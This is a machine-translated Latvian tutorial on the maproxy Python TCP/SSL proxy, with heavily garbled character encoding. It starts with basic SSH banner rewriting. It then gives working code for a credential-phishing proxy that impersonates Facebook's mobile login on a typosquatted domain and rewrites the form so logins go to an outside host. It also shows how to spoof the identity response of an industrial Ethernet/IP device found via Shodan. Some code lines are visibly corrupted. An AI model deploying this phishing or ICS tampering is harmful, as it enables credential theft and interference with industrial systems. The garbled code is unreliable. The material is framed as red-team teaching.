Raksta tulkojums tika sagatavots kursu sÄkuma priekÅ”vakarÄ
AnotÄcija
DažÄdu veidu droŔības novÄrtÄjumi, sÄkot no regulÄras iespieÅ”anÄs pÄrbaudes un Red Team operÄcijÄm lÄ«dz IoT/ICS ierÄ«Äu un SCADA uzlauÅ”anai, ietver darbu ar binÄrajiem tÄ«kla protokoliem, tas ir, bÅ«tÄ«bÄ tÄ«kla datu pÄrtverÅ”anu un modificÄÅ”anu starp klientu un mÄrÄ·i. TÄ«kla trafika uztverÅ”ana nav grÅ«ts uzdevums, jo mums ir tÄdi rÄ«ki kÄ Wireshark, Tcpdump vai Scapy, taÄu Ŕķiet, ka pÄrveidoÅ”ana ir darbietilpÄ«gÄks uzdevums, jo mums bÅ«s nepiecieÅ”ams sava veida interfeiss, lai lasÄ«tu tÄ«kla datus, filtrÄtu tos vai mainÄ«tu. to lidojumÄ un gandrÄ«z reÄllaikÄ nosÅ«tiet atpakaļ mÄrÄ·a saimniekdatoram. TurklÄt bÅ«tu ideÄli, ja Å”Äds rÄ«ks varÄtu automÄtiski strÄdÄt ar vairÄkiem paralÄliem savienojumiem un bÅ«tu pielÄgojams, izmantojot skriptus.
KÄdu dienu es atklÄju rÄ«ku, ko sauc
, dokumentÄcijÄ man Ätri kļuva skaidrs, ka maproxy
- tieÅ”i tas, kas man vajadzÄ«gs. Å is ir diezgan vienkÄrÅ”s, daudzpusÄ«gs un viegli konfigurÄjams TCP starpniekserveris. Es pÄrbaudÄ«ju Å”o rÄ«ku vairÄkÄs diezgan sarežģītÄs lietojumprogrammÄs, tostarp ICS ierÄ«cÄs (kas Ä£enerÄ daudz pakeÅ”u), lai noskaidrotu, vai tas spÄj apstrÄdÄt daudzus paralÄlus savienojumus, un rÄ«ks darbojÄs labi.
Å is raksts iepazÄ«stinÄs jÅ«s ar tÄ«kla datu apstrÄdi lidojumÄ, izmantojot maproxy
.
PÄrskatiet
Instruments maproxy
ir balstÄ«ta uz Tornado, populÄru un nobrieduÅ”u asinhrono tÄ«klu sistÄmu Python.
KopumÄ tas var darboties vairÄkos režīmos:
TCP:TCP
ā neÅ”ifrÄti TCP savienojumi;TCP:SSL
ŠøSSL:TCP
ā ar vienvirziena Å”ifrÄÅ”anu;SSL:SSL
- divvirzienu Å”ifrÄÅ”ana.
TÄ nÄk kÄ bibliotÄka. Lai Ätri sÄktu, varat izmantot piemÄru failus, kas atspoguļo galveno
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
1. gadÄ«jums ā vienkÄrÅ”s divvirzienu starpniekserveris
Balstoties uz tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
PÄc noklusÄjuma ProxyServer()
Åem divus argumentus ā savienojuma vietu un mÄrÄ·a portu. server.listen()
Åem vienu argumentu - portu ienÄkoÅ”Ä savienojuma noklausÄ«Å”anai.
Skripta izpilde:
# python tcp2tcp.py
Lai palaistu testu, mÄs izveidosim savienojumu ar vietÄjo SSH serveri, izmantojot mÅ«su starpniekservera skriptu, kas klausÄs 2222/tcp
portu un savienojas ar standarta portu 22/tcp
SSH serveri:
Sveiciena reklÄmkarogs informÄ, ka mÅ«su skripta paraugs ir veiksmÄ«gi izmantojis tÄ«kla trafiku ar starpniekserveri.
2. gadÄ«jums ā datu pÄrveidoÅ”ana
VÄl viens demonstrÄcijas skripts logging_proxy.py
ideÄli piemÄrots mijiedarbÄ«bai ar tÄ«kla datiem. KomentÄri failÄ apraksta klases metodes, kuras varat mainÄ«t, lai sasniegtu savu mÄrÄ·i:
InteresantÄkais ir Å”eit:
on_c2p_done_read
ā pÄrtvert datus ceÄ¼Ä no klienta uz serveri;on_p2s_done_read
- otrÄdi.
MÄÄ£inÄsim nomainÄ«t SSH reklÄmkarogu, ko serveris atgriež klientam:
[ā¦]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[ā¦]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[ā¦]
Izpildiet skriptu:
KÄ redzat, klients tika maldinÄts, jo viÅam tika mainÄ«ts SSH servera nosaukums Ā«DumnySSHĀ»
.
3. gadÄ«jums ā vienkÄrÅ”a pikŔķerÄÅ”anas tÄ«mekļa lapa
Ir bezgalÄ«gi daudz veidu, kÄ izmantot Å”o rÄ«ku. Å oreiz pievÄrsÄ«simies kaut kam praktiskÄkam no SarkanÄs komandas operÄciju puses. AtdarinÄsim galveno lapu m.facebook.com
un izmantojiet pielÄgotu domÄnu ar apzinÄtu drukas kļūdu, piemÄram, m.facebok.com
. DemonstrÄcijas nolÅ«kos pieÅemsim, ka domÄnu esam reÄ£istrÄjuÅ”i mÄs.
MÄs izveidosim neÅ”ifrÄtu tÄ«kla savienojumu ar mÅ«su upuru starpniekserveri un SSL straumi uz Facebook serveri (31.13.81.36
). Lai Å”is piemÄrs darbotos, mums ir jÄaizstÄj HTTP resursdatora galvene un jÄievada pareizais saimniekdatora nosaukums, kÄ arÄ« tiks atspÄjota atbildes saspieÅ”ana, lai mÄs varÄtu viegli piekļūt saturam. Galu galÄ mÄs aizstÄsim HTML veidlapu, lai pieteikÅ”anÄs akreditÄcijas dati tiktu nosÅ«tÄ«ti mums, nevis Facebook serveriem:
[ā¦]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[ā¦]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/lv/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[ā¦]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[ā¦]
RezumÄjot:
KÄ redzat, mÄs varÄjÄm veiksmÄ«gi aizstÄt sÄkotnÄjo vietni.
4. gadÄ«jums ā Ethernet/IP pÄrneÅ”ana
Es jau labu laiku nodarbojos ar industriÄlÄm ierÄ«cÄm un programmatÅ«ru (ICS/SCADA), piemÄram, programmÄjamiem kontrolleriem (PLC), I/O moduļiem, diskdziÅiem, relejiem, kÄpÅu programmÄÅ”anas vidÄm un daudz ko citu. Å is futrÄlis ir paredzÄts tiem, kam patÄ«k industriÄlÄs lietas. Å Ädu risinÄjumu uzlauÅ”ana ietver aktÄ«vu spÄlÄÅ”anos ar tÄ«kla protokoliem. NÄkamajÄ piemÄrÄ es vÄlÄtos parÄdÄ«t, kÄ jÅ«s varat modificÄt ICS/SCADA tÄ«kla trafiku.
Lai to izdarītu, jums ir nepiecieŔams:
- TÄ«kla sniffer, piemÄram, Wireshark;
- Ethernet/IP vai vienkÄrÅ”i SIP ierÄ«ce, to var atrast, izmantojot Shodan pakalpojumu;
- Mūsu skripts ir balstīts uz
maproxy
.
Vispirms apskatÄ«sim, kÄ izskatÄs tipiska identifikÄcijas atbilde no CIP (Common Industrial Protocol).
IerÄ«ces identifikÄcija tiek veikta, izmantojot Ethernet/IP protokolu, kas ir rÅ«pnieciskÄ Ethernet protokola uzlabota versija, kas aptver vadÄ«bas protokolus, piemÄram, CIP. MÄs mainÄ«sim izcelto ID nosaukumu, kas ir redzams ekrÄnuzÅÄmumÄ "NI-IndComm Ethernet" izmantojot mÅ«su starpniekservera skriptu. MÄs varÄtu atkÄrtoti izmantot skriptu logging_proxy.py
un lÄ«dzÄ«gi modificÄt klases metodi on_p2s_done_read
, jo mÄs vÄlamies, lai klientam bÅ«tu redzams cits identitÄtes nosaukums.
Kods:
[ā¦]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[ā¦]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[ā¦]
BÅ«tÄ«bÄ mÄs divreiz prasÄ«jÄm ierÄ«ces identifikÄciju, otrÄ atbilde bija sÄkotnÄjÄ, un pirmÄ tika mainÄ«ta lidojuma laikÄ.
Un pÄdÄjais
PÄc manÄm domÄm maproxy
Ärts un vienkÄrÅ”s rÄ«ks, kas rakstÄ«ts arÄ« Python valodÄ, tÄpÄc uzskatu, ka arÄ« jÅ«s varat gÅ«t labumu no tÄ izmantoÅ”anas. Protams, ir sarežģītÄki rÄ«ki tÄ«kla datu apstrÄdei un modificÄÅ”anai, taÄu arÄ« tie prasa lielÄku uzmanÄ«bu un parasti tiek radÄ«ti konkrÄtam lietoÅ”anas gadÄ«jumam, piem. maproxy
varat Ätri Ä«stenot savas idejas tÄ«kla datu pÄrtverÅ”anai, jo skriptu piemÄri ir ļoti skaidri.
Avots: www.habr.com